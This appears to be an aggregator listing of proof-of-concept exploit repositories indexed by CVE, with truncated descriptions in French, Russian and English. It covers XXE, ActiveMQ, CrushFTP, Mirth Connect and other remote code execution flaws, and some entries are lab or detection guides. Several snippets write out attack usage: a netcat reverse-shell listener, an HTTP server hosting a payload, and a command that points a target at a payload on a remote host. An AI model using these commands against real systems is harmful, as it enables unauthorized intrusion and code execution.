CVE-2022-2414

FR GenXMLExternalEntityExploit est un script PoC pour démontrer l'exploitation d'une vulnérabilité XML External Entity XXE. Le script utilise des charges utiles XML pour lire des fichiers sensibles sur un serveur cible. Cela peut être utile pour les tests de sécurité, les tests d'intrusion ou à d...

CVE-2019-16941

CVE-2019-16941 Доказательство концепции: Уязвимость требует выполнения нескольких и относительно маловероятных условий для срабатывания, что ограничивает её эксплуатацию. Тем не менее, для подготовки полезной нагрузки требуется немного усилий и понимания, учитывая, что это может привести к...

CVE-2026-63077

Неаутентифицированное удалённое выполнение кода в JetBrains TeamCity CVE-2026-63077 Обзор Это proof-of-concept эксплойт для CVE-2026-63077. Организации могут использовать этот скрипт для проверки своих механизмов обнаружения и реагирования. Полный технический анализ CVE-2026-63077 читайте в нашем...

CVE-2020-26217-XStream-RCE-POC

CVE-2020-26217-XStream-RCE-POC Например package org.example; import com.thoughtworks.xstream.XStream; import java.io.IOException; public class CVE202026217 public static void mainString args throws IOException XStream xStream = new XStream; String payload = "\n" + " \n" + " \n" + " 0\n" + " \n" +...

ShatteredFTP

Exploiteur double ShatteredFTP Aperçu Ce script d'exploitation cible les vulnérabilités dans le processus de création/authentification d'utilisateur de CrushFTP, offrant un support en mode double : CVE-2025-2825 Exploite une faille dans le traitement des charges utiles XML lors de la création...

CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ

CVE-2023-46604-RCE-Shell-Inversé-Apache-ActiveMQ Cet exploit s'appuie sur le travail fondamental disponible sur https://github.com/X1cT34m https://github.com/X1r0z/ActiveMQ-RCE. Nous avons développé la technique pour obtenir un shell inversé en utilisant le Metasploit Framework...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

Référence du projet Ce projet est une réécriture en python de l'exp du projet https://github.com/X1r0z/ActiveMQ-RCE . Utilisation python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 Le paramètre -p est par défaut le port par défaut d'activeMQ. Le paramètre -x...

CVE-2019-19871-AuditGuide

Mise à jour 22-01-2020 Il existe désormais un outil de FireEye qui aidera à analyser ces éléments ci-dessous. La clé est d'avoir suffisamment de journaux pour remonter jusqu'au 09-01-2020 afin d'avoir une chance de voir ce qui a été fait au-delà de l'exploitation. S'il trouve des fichiers de char...

St2-052

Тестирование POC для S2-052 оригинальное название: развертывание war в Tomcat Оригинальный адрес: http://blog.csdn.net/caiqiiqi/article/details/77861477 С официального сайта Struts2 загрузите последнюю затронутую версию struts-2.5.12, адрес:...

ppsx-file-generator

Введение Автор: Temesgen Yibeltal [email protected] на основе кода https://github.com/bhdresh/CVE-2017-8570 теперь удалён ppsx-file-generator — это инструмент на Python, который создаёт файл слайд-шоу PowerPoint, выполняющий код из удалённого источника на основе существующего файла. Что он...

CVE-2023-46604-RCE

CVE-2023-46604-RCE Python-реализация неаутентифицированного удалённого выполнения кода в Apache ActiveMQ Настройка и эксплуатация nc -lvnp 4444 - Запуск слушателя python3 -m http.server 8080 - Разместите poc.xml, содержащий вашу полезную нагрузку python3 CVE-2023-46604-RCE.py -i -p -u...

CVE-2023-43208

CVE-2023-43208 Mirth Connect: PoC RCE PoC-скрипт на Python, нацеленный на CVE-2023-43208 в Mirth Connect. Disclaimer Используйте только в средах, которыми вы владеете или для тестирования которых у вас есть явное разрешение. Этот репозиторий предназначен для исследований в области безопасности,...

CVE-2026-34197

CVE-2026-34197 ActiveMQ Classic Lab Этот репозиторий содержит локальный лабораторный стенд для изучения CVE-2026-34197 в Apache ActiveMQ Classic, а также для сравнения уязвимого экземпляра с исправленной сборкой. Репозиторий организован для достижения двух целей: Воспроизвести проблему в строго...

CVE-2021-38647

CVE-2021-38647 Это POC для CVE-2021-38647 : Отправьте POST-запрос на /wsman с содержимым payload.xml и просто измените команду на желаемую. В качестве POC выполняется только команда id. Источник: https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure Подпишись, если нравится :...

CVE-2025-31161

CVE-2025-31161 - Exploit de contournement d'authentification pour la création d'utilisateur CrushFTP 📌 Description Cet exploit Python cible les serveurs CrushFTP vulnérables à la CVE-2025-31161. La vulnérabilité permet la création de comptes utilisateur sans authentification en envoyant une charg...

CVE-2023-46604

CVE-2023-46604 Construisez un docker-compose contenant 2 images incluant la machine victime et la machine cible selon l'environnement requis. Sur la machine victime, démarrez ActiveMQ Passez à la machine attaquante : • Ouvrez le service HTTP pour envoyer le PoC : python3 -m http.server • Utilisez...

CVE-2023-43208_Detection_PoC

CVE-2023-43208DetectionPoC Utiliser java.net.InetAddress pour la détection POST /api/users HTTP/1.1 Host: ip:8443 User-Agent: Mozilla/5.0 X11; CrOS x8664 14541.0.0 AppleWebKit/537.36 KHTML, like Gecko Chrome/120.0.0.0 Safari/537.36 Connection: keep-alive Content-Length: 1964 Content-Type:...

CVE-2023-46604

CVE-2023-46604 Construire un docker-compose contenant 2 images : la machine victime et la machine cible selon l'environnement requis. Sur la machine victime, lancer ActiveMQ. Passer à la machine attaquante : • Ouvrir un service HTTP pour envoyer le poc : python3 -m http.server • Utiliser netcat...

CVE-2026-79572

An XXE XML External Entity vulnerability in the level-rule module of Distribution Management v1.0.0 allows attackers to read sensitive files, scan internal networks, or launch server attacks via supplying a crafted XML payload...

CVE-2026-79572

The Distribution Management v1.0.0 software contains an XML External Entity (XXE) vulnerability within its level-rule module . Attackers can exploit this flaw by supplying a crafted XML payload to perform unauthorized actions, such as reading sensitive files , scanning internal networks , or laun...